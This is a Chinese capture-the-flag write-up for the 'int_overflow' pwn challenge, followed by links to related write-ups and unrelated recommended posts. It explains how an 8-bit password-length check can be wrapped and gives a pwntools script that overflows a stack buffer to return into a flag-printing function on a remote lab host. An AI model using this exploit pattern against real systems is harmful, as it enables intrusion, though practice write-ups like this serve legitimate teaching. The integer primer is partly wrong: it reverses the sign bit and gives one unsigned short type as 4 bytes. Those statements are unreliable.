题目分析

checksec检查文件保护机制

ida分析程序







经典整数溢出漏洞示例

  1. 整数溢出原理整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数最高位为1,负数为0
  2. 无符号数取值范围为非负数,常见各类型占用字节数如下:
  3. 类型 占用字节数 取值范围
  4. Int 4 -2147483648~2147483647
  5. Short int 2 -32768~32767
  6. Long int 4 -2147483648~2147483647
  7. Unsigned int 4 0~4294967295
  8. Unsigned short int 2 0~65535
  9. Unsigned short int 4 0~4294967295
  10. 对于unsigned short int类型的两个变量var1var2假定取值var1 = 1var2 = 65537

  1. 也就是说,对于一个2字节的Unsigned short int型变量,它的有效数据长度为两个字节,当它的数据长度超过两个字节时,
  2. 就溢出,溢出的部分则直接忽略,使用相关变量时,使用的数据仅为最后2个字节,
  3. 因此就会出现65537等于1的情况,其他类型变量和数值与之类似

信息收集

  1. char dest; // [sp+4h] [bp-14h]@3
  2. unsigned __int8 v3; // [sp+Fh] [bp-9h]@1

  1. 0x14+4为偏移量,4个大小是需要覆盖的ebp的地址
  2. 0x804868bcat flag地址

  1. "A"*(256-0x18-4)+"a"*4是为了让v3溢出

编写脚本

  1. from pwn import *
  2. p = remote('111.198.29.45',41419)
  3. #p = process("./pwn005")
  4. payload = "A"*0x14+"B"*4+p32(0x804868b)+"A"*(256-0x18-4)+"a"*4
  5. p.sendlineafter("Your choice:","1")
  6. p.sendlineafter("Please input your username:","root")
  7. p.sendlineafter("Please input your passwd:",payload)
  8. p.interactive()

本地测试

靶机测试

原理(来自大佬的wp)

  1. 进入login函数:接受了一个最大长度为0x199password
  2. 进入check_passwd函数:用一个一字节,8bit的变量存储password的长度,
  3. 之后存在一个字符串拷贝,拷贝目的地在栈中,长度为14h,及0x14,十进制20
  4. 结合前面溢出原理分析,0x199(十进制409)的长度远大于1字节,
  5. 也就是说,这里存在证书溢出,password字符串的长度可以是3- 8个字符,也可以是259-264个字符
  6. 可以在字符串拷贝过程中,输入0x14个字符之后,就可以覆盖函数返回地址了,具体是不是0x14个字符,
  7. 在字符串拷贝之前,先把拷贝的源地址和目的地址压入堆栈,这里似乎没有任何问题,
  8. 查看整个函数的汇编代码,就会发现,在函数最开始,压入了ebp变量,在函数结尾,存在一条leave指令,
  9. 而在32位程序中,leave指令等于mov esp,ebppop ebp两条指令的组合,
  10. 也就是说,在覆盖函数放回地址之前,还有一次出栈操作,出栈数据大小4字节,
  11. 即覆盖之前还需将这4字节覆盖了,才能实现跳转指向what_is_this函数,
  12. 编写利用脚本如下:259-264之间随机选择一个数,
  13. 这里取262264-0x14-4- 4=234

攻防世界—pwn—int_overflow的更多相关文章

  1. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

  2. 攻防世界PWN简单题 level0

    攻防世界PWN简单题 level0 开始考验栈溢出的相关知识了 Checksec 一下文件 看看都开了什么保护 和 是多少位的程序 发现是64位的程序, 扔进IDA64.IDA YYDS.. 进入主函 ...

  3. 攻防世界PWN简单题 level2

    攻防世界PWN简单题 level2 此题考验的是对ROP链攻击的基础 万事开头PWN第一步checksec 一下 32位的小端程序,扔进IDA 进入函数,找出栈溢出漏洞. 又是这个位置的栈溢出,rea ...

  4. 攻防世界pwn高手区——pwn1

    攻防世界 -- pwn1 攻防世界的一道pwn题,也有一段时间没有做pwn了,找了一道栈题热身,发现还是有些生疏了. 题目流程 拖入IDA中,题目流程如图所示,当v0为1时,存在栈溢出漏洞.在gdb中 ...

  5. 攻防世界pwn之新手区

    涉及的工具有 Ubuntu 16.04 pwntools IDA gdb-peda 1.get_shell 连接就给flag,可以直接用nc连接,然后输入ls查看里面的目录,发现有名字叫flag文件, ...

  6. 攻防世界—pwn—cgpwn2

    题目分析 题目提示 checksec检查文件保护机制 使用ida查看伪代码 hello函数存在溢出,与level2类似 信息收集 system地址 name的地址 编写脚本 from pwn impo ...

  7. 攻防世界—pwn—level2

    题目分析 题目提示 下载文件后首先使用checksec检查文件保护机制 使用ida打开,查看伪代码 搜索字符串发现/bash/sh 信息收集 偏移量 system的地址 /bin/sh的地址 编写脚本 ...

  8. 攻防世界—pwn—hello_pwn

    题目分析 下载文件后首先使用checksec检查文件保护机制 使用ida查看伪代码 思路明确,让dword_60106C == 1853186401即可输出flag 信息收集 偏移量 sub_4006 ...

  9. 攻防世界—pwn—level0

    题目分析 下载文件后首先使用checksec检查文件保护机制 文件名太长了,就更改了一下 发现是一个64位程序,使用ida查看伪代码 注意到一个特殊的函数名callsystem 确定思路,直接栈溢出 ...

随机推荐

  1. SecureCRT无法退格删除

    SecureCRT无法退格删除 securecrt无法退格删除问题解决: 如果想要全部会话都可以实现退格删除的功能,需要在全局选项设置. 最后选择全局应用即可.

  2. SpringBoot + SpringSecurity + Mybatis-Plus + JWT + Redis 实现分布式系统认证和授权(刷新Token和Token黑名单)

    1. 前提   本文在基于SpringBoot整合SpringSecurity实现JWT的前提中添加刷新Token以及添加Token黑名单.在浏览之前,请查看博客:   SpringBoot + Sp ...

  3. css 05-CSS样式表的继承性和层叠性

    05-CSS样式表的继承性和层叠性 #本文重点 CSS的继承性 CSS的层叠性 计算权重 权重问题大总结 CSS样式表的冲突的总结 权重问题深入 同一个标签,携带了多个类名 !important标记 ...

  4. C# 多态virtual标记重写 以及EF6 查询性能AsNoTracking

    首先你如果不用baivirtual重写的话,系统默认会为du你加new关键字,他zhi的作用是覆盖,而virtual的关键作用在dao于实现多态 virtual 代表在继承了这个类的子类里面可以使用o ...

  5. Core3.0返回的Json数据大小写格式问题

    前言 测试发现,CoreWebAPI返回的Json数据,会将字段的首字母转换为小写, 经百度得,返回数据会默认驼峰命名,导致的. 随即百度, https://www.cnblogs.com/cdone ...

  6. 在Linux下面端口映射socat自动脚本

    这个sh脚本可以方面的端口映射,在使用本功能之前请确保socat已经放到了/usr/bin/socat #!/bin/bash cd `dirname $0` let listenport=`base ...

  7. NuGet 学习笔记(1)--Nuget安装使用

    安装NuGet扩展 要使用NuGet首先需要安装它(vs2013NuGet) 1. 点击 工具(Tools)-->扩展管理器(Extensions and Updates)...-->右上 ...

  8. Multipass使用教程

    一.Multipass介绍 Multipass是一种简单的虚拟机工具.它不仅使启用虚拟机变得快速简易,还使管理那些虚拟机变得异常简单,因此可以立即开始针对云.边缘.物联网或任何一种类型的技术进行开发. ...

  9. 基于nginx负载均衡及frp的内网穿透实例3-多用户多网站共用80端口

    原文地址:点击跳转 最近frp用户量有点多,而且很多用户都是想把部署于本地或者内网的web服务暴露至公网,之前提到过,暴露到公网之后如果一般都需要用域名:端口的方法来访问,但是没有人会喜欢用这种方式访 ...

  10. springboot+mybatis+bootstrap开发员工oa后台管理系统项目源码

    java项目源码详情描述:S020<springboot+mybatis+bootstrap开发员工oa后台管理系统项目源码>jboa项目有请假以及报销单的申请和审核session共享加登 ...